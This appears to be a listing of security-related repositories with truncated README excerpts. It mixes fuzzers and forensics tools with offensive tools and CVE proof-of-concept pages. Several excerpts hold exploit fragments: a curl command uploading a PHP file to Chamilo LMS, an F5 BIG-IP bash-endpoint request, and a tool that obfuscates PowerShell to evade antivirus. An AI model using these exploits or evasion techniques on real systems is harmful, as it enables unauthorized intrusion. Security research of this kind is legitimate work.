node-ip-vex

node-ip-vex This sample project depends on the node-ip npm package which is vulnerable to CVE-2024-29415. However, because our project does not directly use the vulnerable function .isPublic, it is not exploitable to CVE-2024-29415. Run an analysis with Docker Scout I can package my project as a...

hakuin

Hakuin is a Blind SQL Injection BSQLI optimization and automation framework written in Python 3. It abstracts away the extraction logic and allows users to easily and efficiently dump databases from vulnerable web applications. To speed up the process, Hakuin utilizes a variety of optimization...

poc-cribl-rce

Disclaimer This is for informational/educational purposes only. This was put together to demonstrate an insecurity in the tool, in order for a fix to be verified by the vendor. Info Tested on Cribl v1.5.0 - Previous versions not tested but likely vulnerable. A valid JWT token can be transfered fr...

gdb-dashboard

GDB dashboard GDB dashboard is a standalone .gdbinit file written using the Python API that enables a modular interface showing relevant information about the program being debugged. Its main goal is to reduce the number of GDB commands needed to inspect the status of current program thus allowin...

ALEAPP

Android Logs Events And Protobuf Parser If you want to contribute hit me up here: https://abrignoni.github.io Blog posts here: https://leapps.org/blog Download Pre-built releases need no Python installation: ALEAPP GitHub Releases, or LEAPPs Releases for the whole LEAPP family. Platform| Download...

cuFuzz

cuFuzz This repository contains the artifacts for cuFuzz , a GPU-oriented coverage-guided fuzzer for userland CUDA applications. cuFuzz combines host-side and device-side coverage collection with sanitization to effectively discover bugs in CUDA programs. Repository Structure cufuzz-artifacts/ ├─...

Chamilo-LMS-Unauthenticated-File-Upload-CVE-2023-4220

Chamilo-LMS-Unauthenticated-File-Upload- Unrestricted file upload in big file upload functionality in /main/inc/lib/javascript/bigupload/inc/bigUpload.php in Chamilo LMS ' dollarboysushil.php .png We can then upload this file by issuing following command $ curl -F '[email protected]'...

AutoRecon

It's like bowling with bumpers. - @ippsec AutoRecon AutoRecon is a multi-threaded network reconnaissance tool which performs automated enumeration of services. It is intended as a time-saving tool for use in CTFs and other penetration testing environments e.g. OSCP. It may also be useful in...

spaces-finder

Spaces finder Spaces finder is a tool to quickly enumerate DigitalOcean Spaces to look for loot. It's similar to a subdomain bruteforcer but is made specifically for DigitalOcean Spaces and also has some extra features that allow you to grep for delicious files as well as download interesting fil...

ntlm-scanner

New! Exploit Scan for CVE-2020-1472 ZeroLogon Scan DCs in your network to detect actual exploitation of CVE-2020-1472 Examples: python scan.py -vuln CVE-2020-1472 -target-file targets.txt python scan.py -vuln CVE-2020-1472 -target Tool works by trying an empty password for DCs every minute. Since...

HoneyProxy

This project has moved. HoneyProxy is now part of mitmproxy: http://docs.mitmproxy.org/en/stable/mitmweb.html HoneyProxy HoneyProxy is a lightweight man-in-the-middle proxy that helps you analyze HTTPS traffic flows. It is tailored to the needs of security researchers and allows both real-time an...

covert-tube

covert-tube A program to control systems remotely by uploading videos to Youtube using Python to create the videos and the listener, emulating some malware I was reading about. It allows to create videos with frames formed of simple text, QR codes with cleartext or QR codes using AES encryption...

DockSec

!CREATEDhttps://img.shields.io/badge/created-feb,%202025-blue?style=for-the-b...

CVE-2025-53772-IIS-WebDeploy-RCE

CVE-2025-53772 - IIS WebDeploy RCE Exploit This repository contains a Proof-of-Concept PoC exploit for CVE-2025-53772, a Remote Code Execution vulnerability in IIS WebDeploy through unsafe deserialization. ⚠️ Disclaimer This tool is for educational and authorized security testing purposes only. Th...

ruzzy

Ruzzy A coverage-guided fuzzer for pure Ruby code and Ruby C extensions. Ruzzy is heavily inspired by Google's Atheris, a Python fuzzer. Ruzzy uses libFuzzer or LibAFL for its coverage instrumentation and fuzzing engine. Ruzzy also supports AddressSanitizer and UndefinedBehaviorSanitizer when...

CNVD-C-2019-48814

CNVD-C-2019-48814 WebLogic wls9-async Deserialization Remote Command Execution Vulnerability Echo PoC for WebLogic Patch update: https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html Vulnerability Reproduction: http://10.10.20.166:7001/async/AsyncResponseService cu...

CVE-2026-39987

CVE-2026-39987 — Marimo Pre-Auth RCE For educational and authorized security research purposes only. Description Pre-authenticated Remote Code Execution in Marimo = 0.20.4. The WebSocket endpoint /terminal/ws skips authentication validation, allowing an unauthenticated attacker to obtain a full...

CVE-2022-1388-Exploit-POC

CVE-2022-1388 EXPLOIT POC F5 BIG IP POST /mgmt/tm/util/bash HTTP/1.1 Host: REDACTED:8083 Content-Length: 45 Connection: Keep-Alive,X-F5-Auth-Token Cache-Control: max-age=0 X-F5-Auth-Token: SherlockSecure Content-Type: application/json Authorization: Basic YWRtaW46aG9yaXpvbjM= "command":"run",...

Chimera

Chimera is a shiny and very hack-ish PowerShell obfuscation script designed to bypass AMSI and antivirus solutions. It digests malicious PS1's known to trigger AV and uses string substitution and variable concatenation to evade common detection signatures. Chimera was created for this write-up an...

CVE-2025-32463

CVE-2025-32463: Sudo Local Privilege Escalation Vulnerability Summary CVE-2025-32463 is a Local Privilege Escalation LPE vulnerability discovered in Sudo. An attacker can exploit this vulnerability to gain root privileges under certain conditions. Vulnerability Details Vulnerability Description: ...